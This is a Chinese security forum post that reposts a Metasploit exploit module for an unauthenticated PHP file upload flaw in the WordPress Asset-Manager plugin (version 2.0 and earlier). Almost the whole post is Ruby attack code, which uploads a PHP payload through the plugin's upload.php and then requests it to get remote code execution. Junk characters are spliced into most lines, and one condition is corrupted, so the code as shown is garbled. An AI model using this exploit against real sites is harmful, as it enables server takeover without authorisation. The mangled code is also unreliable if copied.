找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2445|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
- x. C0 l9 e6 R( v' m8 s5 a" U9 w& G' o" a; [  v4 j
##
9 R" a7 v1 D; K! C$ `9 I# This file is part of the Metasploit Framework and may be subject to
3 O/ S; M5 W+ T) c# i# redistribution and commercial restrictions. Please see the Metasploit( X9 C) }% J4 r, T8 o+ Q
# Framework web site for more information on licensing and terms of use.
% P1 ^  U2 x9 G#   http://metasploit.com/framework/0 a) ]+ D/ x+ b% Z" G* w8 t) @
##
0 [: N# z% G! }5 u8 \ 1 D1 U+ k7 y" A9 i/ H& x
require 'msf/core'/ N& O/ f4 }% U
require 'msf/core/exploit/php_exe'
* W( L: E( w$ r: ] ; T9 \! ^6 _3 W6 F- z
class Metasploit3 < Msf::Exploit::Remote
! e5 W7 K; S, t0 b& [- z/ _: s9 S& B  Rank = ExcellentRanking+ Y1 I4 P* l& S4 z
. A- C8 J, u# v# V. G  \
  include Msf::Exploit::Remote::HttpClient: J5 ~% N) z8 \. x& Q0 R
  include Msf::Exploit:hpEXE6 B6 D$ x$ Y2 n) i/ W: h& i

  h4 z& V1 _2 Q  def initialize(info = {})
- ^; a0 t) \: ]    super(update_info(info,6 W7 j' J% f( C/ n& H1 |
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',( Z6 W' W- @$ ?4 h, ~
      'Description'    => %q{
( r4 u4 o+ n6 G# u0 ?" ^        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
) K! d5 S( `& \$ y/ v9 N3 z& v        plugin.  By abusing the upload.php file, a malicious user can upload a file to a
5 C6 U  n5 x1 ~" a+ _/ p% g0 I        temp directory without authentication, which results in arbitrary code execution.
$ x1 @: I  a2 ?# J9 |$ ^      },8 n- z- i0 k0 u4 U
      'Author'         =>
! h' I5 C9 n5 V7 S/ K2 X1 g% b/ x        [  B% h/ Q7 p+ @( K
          'Sammy FORGIT', # initial discovery
- i1 Y  e4 U/ S* v$ L* X. w          'James Fitts <fitts.james[at]gmail.com>' # metasploit module6 R3 Z8 @* v1 J7 e' M; B& i
        ],
6 U6 F) a* q3 D6 G( X      'License'        => MSF_LICENSE,( y) W" b* x& j* O# @! ?( T$ ]
      'References'     =>
. V. m- C% r3 m8 P9 r1 w        [
) v  l2 f4 f% X( u/ W          [ 'OSVDB', '82653' ],
7 a" i0 u# V7 c9 h$ Q          [ 'BID', '53809' ],
/ [) X8 B2 R/ ]. i          [ 'EDB', '18993' ],: [8 L2 x1 j! g  g  x5 D" D" s
          [ 'URL', 'http:// www.myhack58.com /' ]
& N" a  q2 R6 J9 g& V" h        ],& q, e! `" {4 ^3 Q6 ^8 I$ \2 u
      'Payload'       =>4 ^, z. O1 u: K) Y! B3 V
        {  M0 J. b5 a3 v7 @4 a
          'BadChars' => "\x00",
  c) }, |5 |% k. N% R        },
* ?# N- x1 ^! Z" ]$ I      'Platform'       => 'php',% a+ L: T  Q+ L, |* D
      'Arch'           => ARCH_PHP,* s& _4 m, y) a. l, H: J1 t
      'Targets'        =>
+ Z8 y! \, u! |( `3 @6 W- j        [
) ]- w' U6 J3 e: G* L          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],5 }8 u. n! P. ~! N
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]6 @  F) K% Y% K0 C0 J
        ],
$ v; e: y! Q/ D3 B) q2 U      'DefaultTarget' => 0,
& H" L3 d( ^0 K0 z0 e1 E, A* I, |8 F      'DisclosureDate' => 'May 26 2012')): ?  i5 M1 Q1 a5 C* O7 M: h/ D

8 H# c2 X, L8 C    register_options() Q# _+ U: }* x* F7 X5 o
      [( t% L7 B& P7 J* F' B- \
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
% H  G8 ^* U9 i      ], self.class)
/ X7 s6 w4 C+ [. z7 F+ o2 _  end
, T  @: T- J3 o# F% H- o
! B" {) E1 a9 w3 Y0 h0 d  def exploit  Y3 F# ~' Y' d8 F
    uri =  target_uri.path3 O+ }3 V) Y$ h/ A
    uri << '/' if uri[-1,1] != '/') J$ [! l+ ]) b/ R, u! a5 b0 H
    peer = "#{rhost}:#{rport}"! j! T& |( l) h1 c  V$ F
    payload_name = "#{rand_text_alpha(5)}.php"! N6 g$ J9 |- g  |' c1 G
    php_payload = get_write_exec_payload(:unlink_self=>true), m8 |) \/ T4 G5 Y. ?/ p# M+ D
% ]( H" {* k; h) l
    data = Rex::MIME::Message.new" ?7 K0 H" j% ]! d3 D4 V3 y
    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
9 O& Z4 _: b7 N$ D( G1 n    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+ Z' X! G; i8 I) {1 c4 y( f* j 5 `, t& j* ?2 i' r# c0 A
    print_status("#{peer} - Uploading payload #{payload_name}")1 `7 |0 l* x) b9 p/ H( Q* O& s
    res = send_request_cgi({! P9 N$ F- L9 Y- ]4 S4 N
      'method'  => 'POST',/ L% V: f: z* T" |
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
# ~" Y8 n! w5 P+ s      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
8 d4 I- O1 J3 @4 K" n# V      'data'    => post_data
# t, p0 I1 J( r) I9 h* m& ?    })  V6 m" ^! J' n4 x( B4 A, H  |
0 p+ F) z* R5 m6 Y0 Y6 s0 A  R5 q
    if not res or res.code != 200 or res.body !~ /#{payload_name}/
; G: O7 J7 q- h      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")- p0 ?, z. H8 h
end
! i' e/ Y, i& E" { 8 x* ~% E- p9 w+ A
    print_status("#{peer} - Executing payload #{payload_name}")" t" J+ Y; p" @, W/ f6 E
    res = send_request_raw({
9 v1 {8 i  Q3 e- Y% B: B      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
( ?  Y+ h9 n) s) g# |/ A      'method'  => 'GET'; u8 k& d" Z9 J+ \+ }
    })7 G- A$ o' [9 s1 v3 V
! B" E3 j; m# D0 i* o0 U$ R, {
    if res and res.code != 2009 {) u2 r8 }6 f. A# W0 b8 s$ [7 |
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
0 T4 M6 Q( A# w( x$ V    end- t" u* N5 D6 J% _
  end- u! B( U+ h8 A0 h) G: r( @4 I
end
8 v. r' G4 e3 b5 Q5 i# g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表